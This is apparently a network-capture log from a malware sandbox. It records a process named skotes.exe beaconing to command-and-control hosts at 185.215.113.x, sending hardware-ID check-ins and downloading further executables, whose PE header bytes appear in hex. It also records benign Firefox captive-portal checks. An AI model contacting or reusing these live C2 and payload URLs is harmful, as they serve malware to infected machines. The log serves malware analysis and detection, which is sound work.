Oct 24, 2024 04:59:05.017184973 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 38805 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:59:05.563298941 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:59:05.690160990 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 38806 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:59:10.069016933 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 04:59:10.196232080 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 16:12:19 GMT Age: 38811 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 04:59:20.200362921 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	59417	34.107.221.82	80	7016	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:59:04.236022949 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:59:04.836155891 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 50719 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:59:05.283015013 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:59:05.408107996 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 50720 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:59:05.693944931 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:59:05.819972992 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 50720 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:59:10.259355068 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 04:59:10.384639978 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 12:53:45 GMT Age: 50725 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 04:59:20.402452946 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	59421	185.215.113.43	80	4092	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:59:04.472206116 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 04:59:05.391338110 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:59:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	59425	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:59:06.904254913 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 04:59:07.808245897 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:59:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:59:07.814821005 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHJKKECFIECAKECAFBGC Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 2d 2d 0d 0a Data Ascii: ------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="build"doma------FHJKKECFIECAKECAFBGC--
Oct 24, 2024 04:59:08.096031904 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:59:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	59426	185.215.113.43	80	4092	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:59:06.938091040 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 04:59:07.842247963 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:59:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	59428	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:59:08.446598053 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 04:59:09.338715076 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:59:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:59:09.342015028 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEGDGIIJJECFIDHJJKKF Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 44 47 49 49 4a 4a 45 43 46 49 44 48 4a 4a 4b 4b 46 2d 2d 0d 0a Data Ascii: ------JEGDGIIJJECFIDHJJKKFContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------JEGDGIIJJECFIDHJJKKFContent-Disposition: form-data; name="build"doma------JEGDGIIJJECFIDHJJKKF--
Oct 24, 2024 04:59:09.625756025 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:59:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	59431	185.215.113.43	80	4092	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:59:09.470345020 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 04:59:10.376985073 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:59:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	59435	185.215.113.43	80	4092	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:59:11.907377005 CEST	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 37 32 37 37 33 42 35 35 38 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B72773B55882D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Oct 24, 2024 04:59:12.822221041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:59:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	59437	185.215.113.37	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:59:13.249694109 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 04:59:14.171796083 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:59:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:59:14.174222946 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBFIIIEHCFHJKFHDHDA Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 31 34 41 37 44 32 32 39 31 32 35 34 30 37 31 31 37 33 38 35 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 46 49 49 49 45 48 43 46 48 4a 4b 46 48 44 48 44 41 2d 2d 0d 0a Data Ascii: ------JEBFIIIEHCFHJKFHDHDAContent-Disposition: form-data; name="hwid"E14A7D2291254071173853------JEBFIIIEHCFHJKFHDHDAContent-Disposition: form-data; name="build"doma------JEBFIIIEHCFHJKFHDHDA--
Oct 24, 2024 04:59:14.467487097 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:59:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	59440	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:59:16.829354048 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 04:59:17.722966909 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:59:17 GMT Content-Type: application/octet-stream Content-Length: 1931264 Last-Modified: Thu, 24 Oct 2024 02:50:35 GMT Connection: keep-alive ETag: "6719b5fb-1d7800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 a0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfL@L@Wk$LL @.rsrc@.idata @ +@gwmdqjxo`02^@xvafdjqxLR@.taggant0L"V@
Oct 24, 2024 04:59:17.723006964 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:59:17.723016977 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:59:17.723048925 CEST	436	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 24, 2024 04:59:17.723059893 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ZZ(@CaUP)u
Oct 24, 2024 04:59:17.723064899 CEST	1236	IN	Data Raw: c5 81 8f 8c 10 e1 82 76 57 c5 80 30 19 14 fb 22 61 51 ea 74 91 70 46 90 4c 20 f2 c5 a8 01 8f b0 28 6d 82 6a 17 c5 80 f0 29 d4 a9 68 e8 61 46 9c 35 c9 2d a7 90 51 1e d1 7b f6 c0 c0 94 c3 5e ac 37 65 0d 63 78 52 91 8b 68 62 e6 48 bc 6d d2 ef 28 62 Data Ascii: vW0"aQtpFL (mj)haF5-Q{^7ecxRhbHm(bU;6JmeE^pQI8Q1O<H_ MmJR"2^buPOcF)tPm!(NHqa[~ I5jqB`LqWi"C^7ebQ1IakO0U6ao
Oct 24, 2024 04:59:17.723071098 CEST	1236	IN	Data Raw: 48 59 46 c3 c8 63 26 9d d9 ba 77 69 66 71 cc cd 49 26 06 42 4e 9d 26 e4 41 98 97 fe a0 43 c9 89 1b 45 f6 7c b9 82 81 f8 17 ea ff 03 62 a1 e1 fb 9a cb 26 ae 5a 00 ef 36 cb 42 b2 4b a0 0f 8f 96 eb f3 31 8c 6b 86 c8 29 ca 97 c0 0f d6 47 8e d3 90 1d Data Ascii: HYFc&wifqI&BN&ACE\|b&Z6BK1k)GF+."QuHF#)9RbC:if NlWCXhfSSN]&~E)qN9\QTC:-LTr4KC~Fd#@1}VGQMWIY7ix=vhEHmr
Oct 24, 2024 04:59:17.723086119 CEST	1236	IN	Data Raw: 35 20 69 8f bc db 51 5a c9 15 c7 82 6b 45 d9 ba 6e 80 9c 20 15 81 1d 25 8c 0b 8f c9 ba 52 90 54 10 da 85 d1 69 8a 8e b4 2e b2 45 cd 7b e2 5e 74 0c 7f 7b df 60 b8 bc 86 aa ba 68 64 91 a0 d0 1c 85 46 8f af 4a 87 25 c2 2c cc 0a 64 11 9b 34 50 39 6e Data Ascii: 5 iQZkEn %RTi.E{^t{`hdFJ%,d4P9nK@yEZO[RGUzr?mQY'[Vn.5~pIE%M6$Hb_GjT<@-EUu1u~qf@B0fnsUt!xI_s5>rnB@*
Oct 24, 2024 04:59:17.723098040 CEST	1236	IN	Data Raw: 83 42 cd 65 65 65 f3 e6 f8 b7 cd a8 a5 67 ee c6 13 29 62 d3 7e 0d 70 80 87 e0 84 50 6e 44 61 58 d9 7e 4a cd 4a df 5f 50 6c 55 a0 58 1a 3a 02 46 d8 be 3f f7 a4 d3 9e d7 63 75 41 f4 58 85 8f 14 6d c3 e2 7e 10 c6 85 aa 87 20 7d e4 51 dd a9 88 ab 87 Data Ascii: Beeeg)b~pPnDaX~JJ_PlUX:F?cuAXm~ }QB*)@VIKD?z\|7aGkVFC618<HC2\|GPnH<SXkOIb+1=}!C=b>^VZ&pHA\PANcw2G
Oct 24, 2024 04:59:17.723109007 CEST	660	IN	Data Raw: bb a2 e7 a7 24 f2 09 83 43 09 ab 93 b9 2c 48 1a 7b 26 70 45 06 88 bb 2c 35 9b 65 61 cb 82 10 07 64 9e 1f b8 10 8f 6d 7b 01 9b 6f 43 df cf 6c b5 63 a2 7e 89 95 50 b9 c5 c5 0e 89 9d 3b 25 4a f0 e8 85 a7 90 5d ee 4c f3 43 fe 7b 92 ac 42 86 0e fd 15 Data Ascii: $C,H{&pE,5eadm{oClc~P;%J]LC{BB}O(Emh{FOcoxT5awlTQ)+JkbI@'b0SX7X;ft4G6Yk)s\|ZO(}nftJJ!i!aY;p
Oct 24, 2024 04:59:17.728463888 CEST	1236	IN	Data Raw: a1 9c 1c 72 0f 80 7e 3f 16 cc 06 6c d6 8b 8f 85 74 ba 78 c8 fa 3d fe eb 09 48 a1 9b fc dc 2a c7 66 6e 30 bf 3a 91 4e a8 bc 57 91 36 66 8c 52 35 8c c8 a4 3f dc 44 ae 4c 8b 2f 40 4b 7d 35 9e 9b 2d f1 4e f2 a8 e2 17 ce 17 6e 7a ad 58 82 c7 9d c4 d1 Data Ascii: r~?ltx=Hfn0:NW6fR5?DL/@K}5-NnzXD .fYAs@S vj7K.\|Z7_tJ?dfVC%@W&7lkH3a'aV&INoK4QAhx*QWdp70Px8wJow?OCVKM
Oct 24, 2024 04:59:22.664475918 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 04:59:22.940291882 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 02:59:22 GMT Content-Type: application/octet-stream Content-Length: 1877504 Last-Modified: Thu, 24 Oct 2024 02:50:28 GMT Connection: keep-alive ETag: "6719b5f4-1ca600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 67 47 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$j@jgG@P%d% %(@.rsrc %8@.idata %8@ *%:@uolrxmarP`PD<@whwdztvnj@.taggant0j"@
